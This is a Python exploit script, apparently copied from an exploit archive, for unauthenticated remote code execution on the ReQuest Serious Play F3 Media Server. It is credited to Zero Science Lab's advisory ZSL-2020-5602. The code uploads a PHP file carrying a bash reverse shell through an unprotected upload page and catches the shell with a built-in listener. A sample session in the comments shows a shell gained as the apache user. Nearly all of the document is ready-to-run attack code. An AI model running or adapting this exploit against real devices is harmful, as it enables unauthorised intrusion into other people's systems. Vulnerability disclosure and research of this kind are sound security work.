Share
## https://sploitus.com/exploit?id=PACKETSTORM:159607
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
#  
#  
# ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution  
#   
#   
# Vendor: ReQuest Serious Play LLC  
# Product web page: http://www.request.com  
# Affected version: 7.0.3.4968 (Pro)  
# 7.0.2.4954  
# 6.5.2.4954  
# 6.4.2.4681  
# 6.3.2.4203  
# 2.0.1.823  
#   
# Summary: F3 packs all the power of ReQuest's multi-zone serious Play servers  
# into a compact powerhouse. With the ability to add unlimited NAS devices, the  
# F3 can handle your entire family's media collection with ease.  
#   
# Desc: The ReQuest ARQ F3 web server suffers from an unauthenticated remote  
# code execution vulnerability. Abusing the hidden ReQuest Internal Utilities  
# page (/tools) from the services provided, an attacker can exploit the Quick  
# File Uploader (/tools/upload.html) page and upload PHP executable files that  
# results in remote code execution as the web server user.  
#  
# =============================================================================  
# lqwrm@metalgear:~/prive$ python3 ReQuest.py 192.168.1.17:3664 192.168.1.22 6161  
# Let's see waddup...  
# Good to go.  
# Starting handler on port 6161.  
# Writing callback file...  
# We got the dir: /75302IV29ZS1  
# Checking write status...  
# All is well John Spartan. Calling your listener...  
# Connection from 192.168.0.17:42057  
# You got shell.  
# id;uname -ro  
# uid=81(apache) gid=81(apache) groups=81(apache),666(arq)  
# 3.2.0-4-686-pae GNU/Linux  
# exit  
# *** Connection closed by remote host ***  
# lqwrm@metalgear:~/prive$  
# =============================================================================  
#   
# Tested on: ReQuest Serious Play® OS v7.0.1  
# ReQuest Serious Play® OS v6.0.0  
# Debian GNU/Linux 5.0  
# Linux 3.2.0-4-686-pae  
# Linux 2.6.36-request+lenny.5  
# Apache/2.2.22  
# Apache/2.2.9  
# PHP/5.4.45  
# PHP/5.2.6-1  
#   
#   
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# Macedonian Information Security Research and Development Laboratory  
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience  
#   
#   
# Advisory ID: ZSL-2020-5602  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5602.php  
#   
#   
# 01.08.2020  
#  
  
from time import sleep  
import threading######  
import telnetlib######  
import requests#######  
import socket#########  
import sys############  
import re#############  
  
class Manhattan:  
  
def __init__(self):  
self.secretagent = "Mushu"  
self.payload = None  
self.deploy = None  
self.rhost = None  
self.lhost = None  
self.lport = None  
  
def the_args(self):  
if len(sys.argv) != 4:  
self.the_usage()  
else:  
self.rhost = sys.argv[1]  
self.lhost = sys.argv[2]  
self.lport = int(sys.argv[3])  
if not "http" in self.rhost:  
self.rhost = "http://{}".format(self.rhost)  
  
def the_usage(self):  
self.the_wha()  
print("Usage: python3 {} [targetIP:targetPORT] [localIP] [localPORT]".format(sys.argv[0]))  
print("Example: python3 {} 192.168.0.91:3664 192.168.0.22 6161\n".format(sys.argv[0]))  
exit(0)  
  
def the_wha(self):  
titl = "ReQuest Serious Play F3 Media Server RCE"  
print(titl)  
  
def the_check(self):  
print("Let's see waddup...")  
try:  
r = requests.get(self.rhost + "/MP3/")  
if "000000000000" in r.text:  
print("Good to go.")  
else:  
print("Something's fishy.")  
exit(-16)  
except Exception as e:  
print("Hmmm {msg}".format(msg=e))  
exit(-1)  
  
def the_upload(self):  
print("Writing callback file...")  
self.headers = {"Cache-Control" : "max-age=0",   
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarylGyylNPXG5WMGCqP",  
"User-Agent": self.secretagent,  
"Accept" : "*/*",  
"Accept-Encoding": "gzip, deflate",  
"Accept-Language": "en-US,en;q=0.9",  
"Connection": "close"}  
  
self.payload = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/" + self.lhost+ "/" +str(self.lport) + " <&1;rm bd0.php'\");"  
  
self.deploy = "------WebKitFormBoundarylGyylNPXG5WMGCqP\r\n"########  
self.deploy += "Content-Disposition: form-data; name=\"uploa" #  
self.deploy += "dedfile\"; filename=\"bd0.php\"\r\nContent-T" #  
self.deploy += "ype: application/octet-stream\r\n\r\n" + self.payload  
self.deploy += "\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP\r\nConte"  
self.deploy += "nt-Disposition: form-data; name=\"location\"\r\n\r\nm"  
self.deploy += "p3\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP--\r\n"  
  
requests.post(self.rhost+"/shared/upload.php", headers=self.headers, data=self.deploy)  
sleep(1)  
r = requests.get(self.rhost + "/MP3/")  
regex = re.findall(r'a\shref=\"(.*)\/\">', r.text)[2]  
print("We got the dir: /" + regex)  
print("Checking write status...")  
r = requests.get(self.rhost + "/MP3/" + regex)  
if "bd0" in r.text:  
print("All is well John Spartan. Calling your listener...")  
else:  
print("Something...isn't right.")  
exit(-16)   
requests.get(self.rhost + "/MP3/"+ regex + "/bd0.php")   
  
def the_subp(self):  
konac = threading.Thread(name="ZSL", target=self.the_ear)  
konac.start()  
sleep(1)  
self.the_upload()  
  
def the_ear(self):  
telnetus = telnetlib.Telnet()  
print("Starting handler on port {}.".format(self.lport))  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(("0.0.0.0", self.lport))  
while True:  
try:  
s.settimeout(7)  
s.listen(1)  
conn, addr = s.accept()  
print("Connection from {}:{}".format(addr[0], addr[1]))  
telnetus.sock = conn  
except socket.timeout as p:  
print("Hmmm ({msg})".format(msg=p))  
s.close()  
exit(0)  
break  
  
print("You got shell.")  
telnetus.interact()  
conn.close()  
  
def main(self):  
self.the_args()  
self.the_check()  
self.the_subp()  
  
if __name__ == '__main__':  
Manhattan().main()